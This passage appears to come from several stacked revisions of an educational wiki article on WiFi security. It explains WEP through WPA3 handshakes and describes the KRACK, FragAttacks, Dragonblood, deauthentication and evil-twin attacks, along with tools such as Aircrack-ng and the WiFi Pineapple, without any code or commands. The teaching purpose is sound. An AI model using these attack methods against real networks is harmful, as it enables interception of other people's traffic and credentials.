Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn't support this curve, it responds with a message stating so, leading to the client select another curve from it's list. This is repeated until a curve supported by both devices is found. The message that the AP doesn't support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.<ref>Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.</ref>

== Tools ==

There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.
=== Aircrack-ng ===
is an open-source suite designed for assessing Wi-Fi network security. It's capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.<ref> Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3
security approach measurement through aircrack-ng technique’. In 2021
5th International Conference on Computing Methodologies and Commu-
nication (ICCMC), pages 23–30, 2021
</ref>

Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]

=== Driftnet ===
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet's capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.
<ref>deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.</ref>

=== WiFi Pineapple Nano ===
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]

== References ==

* https://www.krackattacks.com/
* https://www.fragattacks.com/
* https://wpa3.mathyvanhoef.com/
* https://ieeexplore.ieee.org/document/523485
* https://github.com/deiv/driftnet
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra

[[Category:Basic]]

WiFi Security

2024-12-07T15:39:03Z

RSchuller: /* WPA2 */

== Summary ==

This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.

== Basics ==
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.

In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.<ref> https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09</ref>

As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.

==Versions==
===WEP===
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.
<ref name="Survey WEP WPA WPA2>{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Samadi
| first3 = Behrang
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology
| year = 2009
| pages = 48–52
| doi = 10.1109/ICCSIT.2009.5234856
| url = https://ieeexplore.ieee.org/document/5234856
}}</ref>

===WPA===

WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn't be upgraded to support WPA due to extensive required changes. WPA's major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP's vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. <ref>Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-
havior of wpa with modification. In 2015 International Conference on
Communication Networks (ICCN), pages 53–56, 2015.</ref>

;WPA offers two modes of operation:

* Personal WPA or WPA-PSK (Pre-Shared Key):
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it's only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. <ref name="Survey WEP WPA WPA2" />

* Enterprise-WPA or Commercial (802.1X):
Is used in Commercial or Enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users' traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA's TKIP allows a more advanced encryption. Instead of a preshared key, you will need a RADIUS server. With this sever it's possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. <ref name="Survey WEP WPA WPA2" />

=== WPA2 ===

[[File:4way.png|500px|thumb|right|4 Way Handshake]]

WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a "Pairwise Master Key" (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:

# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.
# The AP sends the group temporal key (GTK) to the client.
# The client confirms that the GTK was received.

After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.

After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).

For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. <ref>Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.</ref>

;WPA2 like WPA supports two modes of security. Like in WPA there are.

*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. <ref name="Survey WEP WPA WPA2" />
*WPA2-Enterprise (802.1X)
This is the also called "corporate" security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. <ref name="Survey WEP WPA WPA2" />

=== WPA3 ===

[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it's available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it's much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.

The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client->AP and AP->client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.

=== Frame Aggregation and Fragmentation ===

[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]

In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.

== Attacks ==

=== Disassociation and Denial of Service Attacks ===
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]
<ref>Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications & Networking Conference (CCNC)</ref>

=== KRACK ===
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.

When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn't receive it. The client doesn't know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.

=== FragAttacks ===
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.

To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it's possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.

The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it's not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.

=== Dragonblood ===
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.

As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn't support WPA2.

Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn't support this curve, it responds with a message stating so, leading to the client select another curve from it's list. This is repeated until a curve supported by both devices is found. The message that the AP doesn't support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.<ref>Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.</ref>

== Tools ==

There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.
=== Aircrack-ng ===
is an open-source suite designed for assessing Wi-Fi network security. It's capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.<ref> Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3
security approach measurement through aircrack-ng technique’. In 2021
5th International Conference on Computing Methodologies and Commu-
nication (ICCMC), pages 23–30, 2021
</ref>

Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]

=== Driftnet ===
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet's capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.
<ref>deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.</ref>

=== WiFi Pineapple Nano ===
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]

== References ==

* https://www.krackattacks.com/
* https://www.fragattacks.com/
* https://wpa3.mathyvanhoef.com/
* https://ieeexplore.ieee.org/document/523485
* https://github.com/deiv/driftnet
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra

[[Category:Basic]]

WiFi Security

2024-12-05T19:57:47Z

RSchuller: /* WPA */

== Summary ==

This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.

== Basics ==
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.

In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.<ref> https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09</ref>

As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.

==Versions==
===WEP===
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.
<ref name="Survey WEP WPA WPA2>{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Samadi
| first3 = Behrang
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology
| year = 2009
| pages = 48–52
| doi = 10.1109/ICCSIT.2009.5234856
| url = https://ieeexplore.ieee.org/document/5234856
}}</ref>

===WPA===

WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn't be upgraded to support WPA due to extensive required changes. WPA's major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP's vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. <ref>Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-
havior of wpa with modification. In 2015 International Conference on
Communication Networks (ICCN), pages 53–56, 2015.</ref>

;WPA offers two modes of operation:

* Personal WPA or WPA-PSK (Pre-Shared Key):
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it's only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. <ref name="Survey WEP WPA WPA2" />

* Enterprise-WPA or Commercial (802.1X):
Is used in Commercial or Enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users' traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA's TKIP allows a more advanced encryption. Instead of a preshared key, you will need a RADIUS server. With this sever it's possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. <ref name="Survey WEP WPA WPA2" />

=== WPA2 ===

[[File:4way.png|500px|thumb|right|4 Way Handshake]]

WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a "Pairwise Master Key" (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:

# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.
# The AP sends the group temporal key (GTK) to the client.
# The client confirms that the GTK was received.

After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.

After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).

For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. <ref>Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.</ref>

=== WPA3 ===

[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it's available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it's much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.

The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client->AP and AP->client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.

=== Frame Aggregation and Fragmentation ===

[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]

In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.

== Attacks ==

=== Disassociation and Denial of Service Attacks ===
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]
<ref>Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications & Networking Conference (CCNC)</ref>

=== KRACK ===
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.

When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn't receive it. The client doesn't know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.

=== FragAttacks ===
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.

To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it's possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.

The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it's not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.

=== Dragonblood ===
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.

As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn't support WPA2.

